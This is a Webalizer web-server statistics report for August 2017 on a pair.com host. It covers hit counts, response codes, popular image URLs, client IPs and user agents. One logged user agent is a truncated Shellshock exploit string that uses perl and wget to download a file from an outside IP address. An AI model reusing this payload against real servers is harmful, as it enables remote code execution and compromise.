Usage Statistics for www1.g8.pair.com

Summary Period: August 2017
Generated 03-Sep-2017 00:16 EDT

[URLs] [Sites] [Agents]

Monthly Statistics for August 2017
Total Hits 7383
Total Files 3672
Total Pages 4322
Total Visits 1960
Total KBytes 131591
Total Unique Sites 1021
Total Unique URLs 773
Total Unique User Agents 326
. Avg Max
Hits per Hour 9 912
Hits per Day 238 1113
Files per Day 118 377
Pages per Day 139 991
Sites per Day 32 82
Visits per Day 63 92
KBytes per Day 4245 8752
Hits by Response Code
Code 200 - OK 49.74% 3672
Code 206 - Partial Content 1.99% 147
Code 301 - Moved Permanently 0.37% 27
Code 304 - Not Modified 7.49% 553
Code 400 - Bad Request 2.07% 153
Code 401 - Unauthorized 0.27% 20
Code 403 - Forbidden 0.31% 23
Code 404 - Not Found 37.72% 2785
Code 405 - Method Not Allowed 0.04% 3

Top 10 of 773 Total URLs By KBytes
# Hits KBytes URL
1 6 0.08% 15149 11.51% /PHONOLAND/7.gif
2 21 0.28% 10903 8.29% /PHONOLAND/images5/1958grundig-tk830bg.jpg
3 42 0.57% 10227 7.77% /PHONOLAND/images5/396-04c.jpg
4 5 0.07% 5678 4.31% /PHONOLAND/images5/1958grundig-tascbg.jpg
5 73 0.99% 5086 3.87% /PHONOLAND/images/pdrm1542a.jpg
6 59 0.80% 3159 2.40% /PHONOLAND/images3/pdrm7499.jpg
7 16 0.22% 3012 2.29% /PHONOLAND/images5/1965grundig-c100bg.jpg
8 56 0.76% 2801 2.13% /PHONOLAND/
9 3 0.04% 2356 1.79% /gramophone.hk/images/3F.gif
10 2 0.03% 2009 1.53% /PHONOLAND/images5/1954grundig-stentesbg.jpg

Top 30 of 1021 Total Sites
# Hits Files KBytes Visits Hostname
1 903 12.23% 257 7.00% 3230 2.45% 1 0.05% 88.198.158.233
2 624 8.45% 48 1.31% 991 0.75% 82 4.18% 141.8.144.38
3 427 5.78% 427 11.63% 640 0.49% 427 21.79% 91.230.47.3
4 251 3.40% 117 3.19% 961 0.73% 1 0.05% 37.59.55.128
5 237 3.21% 237 6.45% 160 0.12% 1 0.05% 178.62.171.190
6 139 1.88% 21 0.57% 1063 0.81% 27 1.38% 77.88.47.19
7 110 1.49% 27 0.74% 379 0.29% 3 0.15% 66.249.66.66
8 100 1.35% 100 2.72% 67 0.05% 1 0.05% 50.102.28.176
9 100 1.35% 1 0.03% 62 0.05% 1 0.05% 69.196.253.30
10 97 1.31% 19 0.52% 232 0.18% 29 1.48% 5.255.250.15
11 97 1.31% 42 1.14% 4660 3.54% 10 0.51% 66.249.64.132
12 95 1.29% 89 2.42% 6131 4.66% 24 1.22% 40.77.167.92
13 90 1.22% 87 2.37% 4079 3.10% 22 1.12% 207.46.13.87
14 88 1.19% 12 0.33% 568 0.43% 18 0.92% 141.8.144.134
15 84 1.14% 0 0.00% 32 0.02% 1 0.05% 120.205.13.109
16 71 0.96% 65 1.77% 2374 1.80% 21 1.07% 207.46.13.98
17 65 0.88% 25 0.68% 183 0.14% 6 0.31% 66.249.66.70
18 58 0.79% 57 1.55% 5125 3.89% 11 0.56% 157.55.39.197
19 57 0.77% 21 0.57% 915 0.70% 16 0.82% 66.249.64.134
20 53 0.72% 20 0.54% 244 0.19% 5 0.26% 66.249.66.68
21 50 0.68% 5 0.14% 183 0.14% 2 0.10% 66.249.65.80
22 49 0.66% 39 1.06% 732 0.56% 11 0.56% 157.55.39.248
23 49 0.66% 27 0.74% 4087 3.11% 15 0.77% 66.249.64.136
24 49 0.66% 6 0.16% 246 0.19% 2 0.10% 66.249.79.68
25 48 0.65% 42 1.14% 1588 1.21% 18 0.92% 157.55.39.211
26 48 0.65% 45 1.23% 1779 1.35% 14 0.71% 157.55.39.38
27 48 0.65% 40 1.09% 409 0.31% 4 0.20% 164.132.91.1
28 47 0.64% 38 1.03% 896 0.68% 13 0.66% 40.77.167.86
29 45 0.61% 42 1.14% 2092 1.59% 12 0.61% 157.55.39.241
30 45 0.61% 21 0.57% 173 0.13% 21 1.07% 216.244.66.234

Top 10 of 1021 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 95 1.29% 89 2.42% 6131 4.66% 24 1.22% 40.77.167.92
2 58 0.79% 57 1.55% 5125 3.89% 11 0.56% 157.55.39.197
3 97 1.31% 42 1.14% 4660 3.54% 10 0.51% 66.249.64.132
4 35 0.47% 34 0.93% 4225 3.21% 9 0.46% 157.55.39.224
5 49 0.66% 27 0.74% 4087 3.11% 15 0.77% 66.249.64.136
6 90 1.22% 87 2.37% 4079 3.10% 22 1.12% 207.46.13.87
7 11 0.15% 11 0.30% 3896 2.96% 1 0.05% 207.46.13.133
8 38 0.51% 33 0.90% 3250 2.47% 1 0.05% 219.141.211.92
9 903 12.23% 257 7.00% 3230 2.45% 1 0.05% 88.198.158.233
10 1 0.01% 1 0.03% 3030 2.30% 0 0.00% 66.249.88.38

Top 15 of 326 Total User Agents
# Hits User Agent
1 931 12.61% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
2 903 12.23% Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
3 671 9.09% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
4 529 7.17% Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
5 387 5.24% Googlebot-Image/1.0
6 334 4.52% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
7 299 4.05% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
8 249 3.37% Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17
9 236 3.20% Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63
10 141 1.91% Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safa
11 100 1.35% Blackboard Safeassign/0.1 (a Storm-based Blackboard Safeassign web-crawler; https://github.com/DigitalPebble/storm-crawler; s
12 99 1.34% Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.18 Safari/525.19
13 84 1.14% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://36.97.143.96/ka.c -O
14 82 1.11% Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
15 71 0.96% Mozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)


Generated by Webalizer Version 2.23